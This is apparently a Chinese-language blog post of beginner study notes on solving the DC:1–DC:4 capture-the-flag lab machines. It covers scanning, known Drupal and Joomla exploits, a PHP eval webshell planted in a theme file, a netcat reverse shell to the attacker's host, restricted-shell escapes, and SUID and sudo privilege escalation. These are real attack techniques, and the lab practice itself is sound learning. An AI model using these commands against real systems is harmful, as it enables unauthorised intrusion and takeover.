DC:1~DC:4知识点总结(学习笔记)
前言:因为暑假在家放假,补课之后想找找点有趣的事情去做,就想起来虚拟机里吃灰的Kali,赶忙挖出来嗮嗮。做完了DC:1~DC:4的ctf(其实Ta是抄的),初步理解了基本的过程,现在写一篇学习笔记记录一下。
注意:本文是DC:1~DC:4的知识点总和,目的是启发、引导初学者在学习ctf中建立这样一个基本的思路,具有一定的片面性,请在学习的过程中批判性地阅读,发散思维,由于经验不足,出现错误大佬轻喷。
DC:1~DC:4的ctf中,最终的flag都在/root
目录中(即:root用户的家目录),所以我们必须得到root账户
或者具有管理员权限的账户
。故渗透的基本过程为:
1 | 信息收集 ==> 找到突破点 ==> GetShell ==> 本地提权 |
我们的内容将通过此展开,以这个顺序开始叙述
信息收集
这个步骤不可或缺,人走夜路都是要点灯的,摸黑走可是走不长远。
nmap扫描端口
扫描目标机存活端口,可以使用(用法有很多,详细请百度):
1 | nmap -sT <ip> #TCP连接扫描,不安全,慢 |
由于在检测每个端口时都需要进行三次握手,所以速度较慢,同时由于需要建立连接,可能会被目标主机记录下来,所以安全性不高。
注意:不要对未授权的主机使用,切记!!!这里由于是打靶用所以就随意了。
目录扫描
这里使用dirmap(当然,用啥都行),用法如下:
1 | dirmap -i <url> -lcf #扫描目录 |
这里真的很重要!!!我在打Infosec Prep:OSCP的靶机的时候,下意识直接cewl
和wpscan
开始爆破,但显而易见肯定不会成功,如果开始就目录扫描就可以看到robots.txt
和secret.txt
,secret.txt
的 base64解码 就是靶机的SSH私钥(转换完看到BEGIN OPENSSH PRIVATE KEY
我直接就不会了,中大奖属于是)
指纹识别
这个大佬们已经练成看家本领了,稍微看一下就看个大概,这里由于本人很菜,所以使用了第三方的插件脚本,可以随意发挥。我是用的是Wappalyzer
这里如果有搭建的框架了,可以直接Baidu已知漏洞
哈也没有,继续RushB
找到突破点
已知搭建的框架
好的开端,这意味着可能有一大堆Nday
等着给你用。
使用现成的scan工具
如果你知道了目标机网站的框架,并且框架很知名,你就可以试着搜索一下Ta是否存在对应的scan工具。
你可以百度<目标机网站的框架> 扫描
1 | 例如: |
使用Msf和searchsploit中搜索
如果有可能的话,你可能在Msf找到相应的模块或者在 ExploitDB中找到对应漏洞
例如,在DC-1中你可以通过两种方法进入网站后台得到flag3:
- 利用drupal CVE2014-3704漏洞直接添加管理员账号
- 使用Msf 模块攻击GetShell后,在在配置文件中得到sql账户密码,利用scripts/password-hash.sh输出的密码覆盖掉管理员的密码
(虽然使用Msf 模块攻击GetShell是必须的,但通过两种方法得到了网站后台,所以多做些工作,也许会得到意外的结果捏!)
Baidu存在的漏洞
其实这种方法对于系统内核也适用,后面的本地提权
也会用到。
你可以百度搜索<你的目标机框架> 漏洞
,例如:
这里是打DC:3时的,应该使用的是 CVE-2017-8917,需要用sqlmap注入数据库得到emails,username,password(这里的密码是加密的,需要使用jhon
爆破一下),然后登陆
虽然 CVE-2021-23132 并未使用,但后半段的改代码远程执行还是有点启示性的(其实最后看别人解的时候远程执行的部分是基本一致的 逃)
未知框架
回想一下数据收集中有没有可疑的端口
开放或者什么可疑的文件夹
(请仔细检查是否含有secret.txt
战术去世),如果有登录页面就可以尝试爆破一下。注意url
中是否含有可能的文件包含漏洞(如果你发现类似xxx.php?p=1
),检查操作数据库的功能是否可以注入
,抓取网站的数据包也许也会有意外的收获
总之,有什么方法尽管使,相信你自己!
GetShell
使用PHP一句话
书接上回,打DC:3时,我们在后台可以编辑blog的主题文件(typecho也有类似的功能),我们可以在里面加个一句话:
1 | eval($_POST['pwned']); //这里的pwned可以换成别的,是连接的密码 |
得到主题文件中木马的真实地址
以DC:3的joomla的beez为例,我把木马加在了error.php
里面,则木马的地址为<网站>/templates/beez3/error.php
连接蚁剑:
使用反弹shell
方法有很多,这里以DC:4中使用的nc(netcat)演示:
先在攻击机如下配置:
1 | nc -lvvp <port> #port 为攻击机端口号,并且此端口号没有被占用 |
在靶机执行:
1 | nc -e /bin/bash <攻击主机ip> <port> |
这里可以反弹shell的程序有很多,大家自行百度
终端提升
WebShell ==> 交互终端
当你Get到一个Webshell的时候,你一定会第一时间考虑把她升级为交互终端
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
Rbash的绕过
这里在DC:2中有很多的博主使用了如下的方法:
1 | BASH_CMDS[a]=/bin/bash; # ^| 这两个步骤是在调用 /bin/bash解释器 |
也可以使用vi
等绕过,如:
1 | vi raoguo #文件名随意 |
这里可以用来绕过的方法有很多,大家自行探(bai)索(du)吧!
本地提权
使用suid提权
SUID提权由来已久,是一种非常古老的提权方式,但生命力经久不衰(笑)
我们可以通过以下命令在/
下找到属主为root的具有SUID权限的二进制可执行文件:
1 | find / -user root -perm -4000 -print 2>/dev/null |
DC:1的靶机中用到了find
来提权,使用如下:
1 | touch 123.txt |
更多的方式可以到GTFOBins去查下(虽然个人认为给出的方法有点复杂)
也可以百度<你的命令> suid
使用sudoer提权
使用sudo -l
查询你可以用sudo
的命令,当你的输出结果中含有NOPASSWD
的命令将代表你使用这个命令的sudo时,她将不需要密码
如在DC:2中,git
小姐就有幸进入了这个队列,我们就用她来搞些事情:
1 | sudo git help config |
使用内核漏洞提权
在dc-3中,得到www-data
账户后,需要使用 CVE-2017-16995(拒绝服务漏洞)来提权,在本地使用exploitdb提供的 提权脚本,具体内容请自行百度
我自己试了好几个脚本,但编译之后总会报错,我试了3回啊3回(恼)
后记
感谢你完整地读完了这篇文章,本文完成用时3天(指所有的业余时间),希望同志继续努力,在这条快乐的道路上继续前进,也欢迎参观我的博客,我们有缘再见!
快乐的暑假,从渗透开始!
本文于2022年8月13号13:56完结